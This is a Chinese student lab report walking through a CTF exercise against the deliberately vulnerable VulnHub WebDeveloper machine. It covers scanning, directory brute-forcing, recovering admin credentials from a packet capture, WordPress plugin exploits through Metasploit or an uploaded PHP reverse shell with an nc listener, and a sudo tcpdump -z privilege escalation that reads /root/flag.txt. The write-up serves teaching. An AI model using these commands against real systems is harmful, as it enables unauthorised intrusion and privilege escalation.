LOADING

加载过慢请开启缓存 浏览器默认开启

2024/5/5

实验四 CTF实践

1. 实验目的和要求

实验目的:通过对目标靶机的渗透过程,了解CTF竞赛模式,理解CTF涵盖的知识范围,如MISC、PPC、WEB等,通过实践,加强团队协作能力,掌握初步CTF实战能力及信息收集能力。熟悉网络扫描、探测HTTP web服务、目录枚举、提权、图像信息提取、密码破解等相关工具的使用。

系统环境:Kali Linux 2、WebDeveloper靶机来源:https://www.vulnhub.com/

实验工具:不限

2. 实验步骤

实验步骤和内容:

目的:获取靶机Web Developer 文件/root/flag.txt中flag。

基本思路:本网段IP地址存活扫描(netdiscover);网络扫描(Nmap);浏览HTTP 服务;网站目录枚举(Dirb);发现数据包文件 “cap”;分析 “cap” 文件,找到网站管理后台账号密码;插件利用(有漏洞);利用漏洞获得服务器账号密码;SSH 远程登录服务器;tcpdump另类应用。

实施细节如下:

1、发现目标 (netdiscover),找到WebDeveloper的IP地址。截图。

使用netdiscover +192.168.3.0/24命令

IP

2、利用NMAP扫描目标主机,发现目标主机端口开放、服务情况,截图并说明目标提供的服务有哪些?(利用第一次实验知识点)

提供了ssh和http服务

端口

3、若目标主机提供了HTTP服务,尝试利用浏览器访问目标网站。截图。是否有可用信息?

发现网站的CMS(内容管理系统)为WordPress

访问

4、利用whatweb探测目标网站使用的CMS模板。截图。分析使用的CMS是什么?

使用的是CMS

whatweb

5、网络搜索wpscan(wordpress scan),简要说明其功能。

WPScan是Kali Linux默认自带的一款漏洞扫描工具,它采用Ruby编写,能够扫描WordPress网站中的多种安全漏洞,其中包括主题漏洞、插件漏洞和WordPress本身的漏洞。它不仅能够扫描类似robots.txt这样的敏感文件,而且还能够检测当前已启用的插件和其他功能。

6、使用 Dirb 爆破网站目录。(Dirb 是一个专门用于爆破目录的工具,在 Kali 中默认已经安装,类似工具还有国外的patator,dirsearch,DirBuster, 国内的御剑)截图。找到一个似乎和网络流量有关的目录(路径)。

使用命令“dirb http://192.168.145.136/”爆破目录,找到一个ipdata的路径

dirb

5、浏览器访问该目录(路径),发现一个cap文件。截图。

cap文件

6、利用Wireshark分析该数据包,分析TCP数据流。找到什么有用的信息?截图。

使用命令“http.request.method == POST”命令筛选信息,得到管理员的账号和密码

账户密码

7、利用上一步得到的信息进入网站后台。截图。

(网站管理员账号与操作系统账号是不同概念)

登录后

8、利用该CMS存在的(插件Plugin)漏洞。

9、利用该插件漏洞提权。

可选方案1:利用MeterSploit插件+reflex gallery插件漏洞实现。安装reflex gallery插件。利用该插件可能存在的漏洞。(课本知识点)

将插件按步骤上传到网站

image-20221124113341629

建立会话后,查看wp-config.php获得账号及口令。(配置文件很重要,各种系统的配置文件)。

获得的账号、口令是用来访问什么目标?注意与第7步描述比较。

使用“msfconsole”命令打开msf,然后再分别使用“use exploit/unix/webapp/wp_reflexgallery_file_upload”“set rhosts +webdeveloper的ip”“exploit”命令

打开msf

1

经过反复的“ls”“cd”命令后,再**/var/www/html/路径下发现“wp-config.php“**文件

config.php文件内容

由config.php文件名可知,此账号密码为后台服务器的账号密码

image-20221124113543692

可选方案2:上传反弹shell。

http://pentestmonkey.net/tools/web-shells/php-reverse-shell

【目的:PHP网站渗透;实现途径:上传网站后,URL访问(含有)该反弹shell的页面。

功能:该脚本会发起反弹TCP连接到攻击者(脚本中指定攻击者IP地址和端口号)。】

该CMS为PHP开发,可以利用其实现反弹shell。但必须修改初始化IP地址和端口。(指向攻击者)。

按照图中步骤上传代码

进入后台,找到任意一个PHP页面,然后利用php-reverse-shell.PHP的代码修改该页面的代码。

修改代码中反弹目标的IP地址及端口(修改为攻击者IP地址及开放的端口号)。

image-20221124113604545

攻击者在Kali中利用NC开始监听,攻击者浏览器访问修改的PHP页面。从而得到反弹shell(用户www-data)。建立会话后,查看wp-config.php获得账号及口令。(注意路径)

输入指令“nc -lvp +修改的端口号”,然后在网页上访问http://192.168.145.136/wp-content/themes/twentysixteen/404.php。

2

image-20221124113641131

然后再次经过疯狂的“ls”和“cd”命令找到

image-20221124113543692

方案3:利用文件管理插件(File manager)漏洞。

安装该插件,直接可以浏览wp-config.php。

在Plugins上直接搜索安装File manager

3

以上方案三选一,或找到可以实现的方案,操作步骤截图。

10、SSH登录服务器

尝试利用上一步获得的访问数据库的用户名和密码连接远程服务器。截图。

“ssh -p 22 webdeveloper@webdeveloper的ip”命令连接远程服务器,然后输入密码

ssh

1、尝试查看/root/flag.txt 以下操作得到的结果截图替代以下截图。

image-20221124113745789

image-20221124113754311

均无法查看。

10、使用tcpdump执行任意命令(当tcpdump捕获到数据包后会执行指定的命令。)

查看当前身份可执行的命令。

image-20221124113807928

发现可以root权限执行tcpdump命令

创建攻击文件

touch /tmp/exploit1

写入shellcode

echo 'cat /root/flag.txt' > /tmp/exploit

赋予可执行权限

chmod +x /tmp/exploit

利用tcpdump执行任意命令

sudo tcpdump -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/exploit -Z root

获得flag

flag

tcpdump命令详解:

-i eth0 从指定网卡捕获数据包

-w /dev/null 将捕获到的数据包输出到空设备(不输出数据包结果)

-z [command] 运行指定的命令

-Z [user] 指定用户执行命令

-G [rotate_seconds] 每rotate_seconds秒一次的频率执行-w指定的转储

-W [num] 指定抓包数量

3. 实验小结

1.使用netdiscover + 192.168.145.0/24的方法来获取在这一字段下的所有IP

2.使用nmap -O +IP的方式一个个去实验IP来找到webdeveloper主机,并且发现开放了http即80端口

3.访问网站并且发现CMS为WordPress

4.使用whatweb+目标主机IP的方式发现CMS,验证了步骤3

5.dirb +http:// 目标主机IP发现网络流量有关的路径

6.在wireshark中使用“http.request.method ==POST”命令可以筛选登录的操作

7.方案一:安装完插件后使用“msfconsole” “use exploit/unix/webapp/wp_reflexgallery_file_upload”“set rhosts +webdeveloper的ip”和“exploit”命令即可开启msf监听,之后就是“ls”查看文件,“cd”跳转。

8.方案二:上传代码的时候需要将IP改为自己kali的IP而且需要修改theme to edit,监听时的端口号也需要对于代码里的端口。